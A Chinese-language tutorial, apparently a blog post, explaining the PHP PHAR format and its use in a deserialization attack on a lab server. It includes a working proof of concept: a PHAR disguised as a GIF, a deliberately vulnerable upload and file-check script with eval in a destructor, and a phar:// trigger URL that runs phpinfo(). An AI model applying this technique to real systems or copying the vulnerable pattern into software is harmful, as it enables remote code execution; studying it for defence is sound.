PHAR介绍
PHAR("php archive")
是PHP中类似于JAR
的一种打包文件,在PHP5.3.0
开始有效,这个特性使得PHP也可以向JAVA一样方便地实现应用程序打包和组件化。一个应用程序可以打成Phar
包直接放到PHP-FPM
中运行。
PHAR文件
PHAR(PHP文档)
文件是一种打包格式,通过将许多PHP文件和其他资源(图像、样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR
文件都是用.phar
作为文件扩展名,PHAR格
式的归档需要使用自己写的代码。
PHP原理
1.a stub
stub
的基本结构:xxx<?php xxx;__HALT_COMPILER();?>
,之前的内容没有限制,但是需要以__HALT_COMPILER();?>
来结尾,其中的结尾符号?>
可以忽略,但是如果加了,必须和__HALT_COMPILER();
相隔不超过一个空格,否则phar
扩展将无法识别这个phar
文件。
官方介绍:https://www.php.net/manual/zh/phar.fileformat.stub.php
2.a manifest describing the contents
phar
文件本质上是一种压缩文件,其中被压缩的文件的权限、属性等信息都放在这个部分,这个部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
我们可以查看官网中的介绍:https://www.php.net/manual/zh/phar.fileformat.phar.php
3.the file contents
被压缩文件的内容。
4.[optional] a signature for verifying Phar integrity(phar file format only)
Phar
的签名,存放在文件的末尾,目前支持的签名格式为MD5,SHA1,SHA256和SHA512
。
官网中介绍:https://www.php.net/manual/zh/phar.fileformat.signature.php
实例
根据之前对phar
的介绍,我们来编写一个phar
文件,在php中内置了一个Phar
类来处理相关操作
测试的时候,我们需要将
phar.readonly
设置为Off,否则无法生成phar
文件,默认情况下phar.readonly
的值为On,我们可以在php.ini
文件中将其设置为Off
phar.php
<?php
class Test{}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj = new Test();
$obj->data = "test";
$phar->setMetadata($obj);//将自定义的meta-data存入maifest
$phar->addFromString("test.txt","test");//需要压缩的文件
$phar->stopBuffering();//自动计算签名
?>
我们执行这个php
文件,然后在同目录下就会生成phar.phar
文件
我们使用010editor
打开进行查看文件中的内容,其中meta-data
d是以序列化的格式存储的
既然这些数据被反序列化了,那对其进行操作的时候就一定会需要反序列化,php对文件操作的函数中,在通过phar://
伪协议解析phar
文件的时候,大部分都会对meta-data
进行反序列化,其中收影响的函数我们采用seebug
中的图片来了解一下
我们这里继续之前的测试继续,我们使用如下代码构建phar_test.php
文件
<?php
class Test{
function __destruct()
{
echo $this -> data;
}
}
file_exists("phar://phar.phar");
?>
我们访问phar_test.php
文件,输出了我们之前在phar.php
中设置的内容。
PHAR文件格式伪造
我们之前已经介绍过,在phar
文件格式会通过__HALT_COMPILER();?>
这个标志来确定是一个phar
文件,对其前面的内容和文件名的后缀是没有要求的,那我们就可以在最开始添加一个其他文件类型的文件头,然后对文件名的后缀修改,通过这种方式来伪装成其他类型的文件。接下来我们进行一个练习来测试。
基本思路
我们接下来进行一个练习,我们upload_file.php
文件中检测上传文件类型以及文件后缀,然后在file_check.php
中判断这个文件是否存。
条件
要完成这个实验的条件是
- 存在文件上传
- 有文件操作函数并且在我们之前介绍的受影响的函数表中
- 在有文件操作函数中有可用的魔法函数
开始练习
首先我们需要一个检测上传文件类型以及后缀的函数upload_file.php
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
?>
接着来构造一个上传页面upload.html
<body>
<form action="http://192.168.252.182/phar/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
最后就是检测文件是否存在file_check.php
<?php
$filename=$_GET['filename'];
class Test{
var $name = 'echo 123;';
function __destruct()
{
eval($this -> name);
}
}
file_exists($filename);
?>
我们将之前的代码进行修改,来创建一个图片格式的文件create_phar.php
<?php
class Test{
}
$phar = new Phar("phar1.phar");//这里后缀需要是phar,生成以后修改文件后缀
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");//设置stub
$obj = new Test();
$obj->name = "phpinfo();";
$phar->setMetadata($obj);//将自定义的meta-data存入maifest
$phar->addFromString("test.txt","test");//需要压缩的文件
$phar->stopBuffering();//自动计算签名
?>
首先使用上述代码生成一个phar1.phar
,然后将文件后缀修改为.gif
,接着使用upload.html
将我们将文件上传到upload_file.php
。
接着我们根据返回的文件路径在file_check.php
中传递参数
http://192.168.252.182/phar/file_check.php?filename=phar://upload_file/phar1.gif
可以看到,执行了我们生成文件中的phpinfo()
内容。
参考文章: